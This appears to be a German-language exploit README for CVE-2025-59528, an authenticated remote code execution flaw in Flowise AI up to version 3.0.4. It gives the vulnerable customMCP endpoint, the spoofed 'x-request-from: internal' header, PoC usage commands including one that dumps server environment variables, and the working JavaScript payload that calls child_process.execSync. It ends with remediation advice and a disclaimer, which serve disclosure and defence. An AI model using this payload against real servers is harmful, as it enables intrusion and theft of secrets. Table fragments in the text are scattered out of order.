
Authenticated Remote Code Execution (RCE) exploit for Flowise AI versions ≤ 3.0.4. Leverages a vulnerability in the /api/v1/node-load-method/customMCP endpoint to execute arbitrary system commands via Node.js child_process.execSync(). Includes full PoC script and remediation steps.
CVE-ID: CVE-2025-59528
Betroffene Software: Flowise AI
Anfällige Versionen: <= 3.0.4
Behobene Version: 3.0.5 und später
Schweregrad: Kritisch
Autor: r3nsi15
Datum: 2025
Flowise AI-Versionen bis einschließlich 3.0.4 ermöglichen es einem authentifizierten Benutzer, Remote-Codeausführung (RCE) auf dem Host-Server zu erreichen, indem er ein manipuliertes JavaScript-Payload an den Endpunkt /api/v1/node-load-method/customMCP sendet.
Die load-Methode des customMCP-Knotens akzeptiert vom Benutzer kontrollierte Eingaben, die serverseitig als JavaScript ausgewertet werden, ohne ausreichende Bereinigung oder Sandboxing. Durch das Injizieren eines Payloads, das Node.js' child_process.execSync nutzt, kann ein Angreifer beliebige Betriebssystembefehle mit den Privilegien des Flowise-Serverprozesses ausführen.
Der Endpunkt erfordert außerdem, dass der Header x-request-from: internal vorhanden ist.
| Endpunkt | Methode | Authentifizierung erforderlich | Zweck |
|---|---|---|---|
/api/v1/auth/login | POST | Nein | Authentifizierung und Sitzungserhalt |
Datei: CVE-2025-59528_POC.py
requests-Bibliothekpip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
Codeausführung überprüfen:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
Umgebungsvariablen des Servers abrufen:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
Der Exploit injiziert den folgenden JavaScript-Ausdruck in das Feld mcpServerConfig:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — lädt Node.js' integriertes Modul zur Prozessausführung.execSync('<command>') — führt den vom Angreifer bereitgestellten Betriebssystembefehl synchron aus.Der Header x-request-from: internal wird ebenfalls an die Anfrage angehängt, um eine interne Herkunftsprüfung zu bestehen, die den Aufruf sonst blockieren würde.
Der Endpunkt customMCP übergibt benutzergesteuerte Eingaben direkt in einen JavaScript-Auswertungskontext auf dem Server, ohne Bereinigung oder Sandboxing. Zusammen mit dem uneingeschränkten Zugriff auf Node.js-Kernmodule (insbesondere child_process) über process.mainModule.require entsteht ein trivial ausnutzbarer RCE-Vektor. Die Überprüfung des Headers x-request-from bietet keine sinnvolle Sicherheitsgrenze, da er nicht gegen eine vertrauenswürdige Quelle validiert wird.
Diese beiden Schwachstellen können für einen nicht authentifizierten RCE-Angriffspfad gegen Flowise-Instanzen, die Versionen <= 3.0.4 ausführen, verkettet werden:
child_process, fs, usw.) durch eine ordnungsgemäße Sandbox (z. B. vm2, isolierte Kontexte oder Entfernen des Zugriffs auf process.mainModule).x-request-from über einen serverseitigen Mechanismus anstelle einer einfachen Zeichenkettenprüfung.Dieses Proof of Concept wird ausschließlich für pädagogische und autorisierte Sicherheitsforschungszwecke bereitgestellt. Die Verwendung dieses Skripts gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal und unethisch. Der Autor und die Mitwirkenden übernehmen keine Haftung für Missbrauch.
/api/v1/node-load-method/customMCP| POST |
| Ja (Sitzungscookie) |
| Anfälliger node-load-method-Endpunkt |
| Flagge | Langform | Erforderlich | Beschreibung |
|---|
-e | --email | Ja | E-Mail-Adresse des authentifizierten Benutzers |
-i | --url | Ja | Basis-URL der Flowise-Instanz |
-p | --password | Ja | Passwort des authentifizierten Benutzers |
-c | --cmd | Ja | Auf dem Server auszuführender Betriebssystembefehl |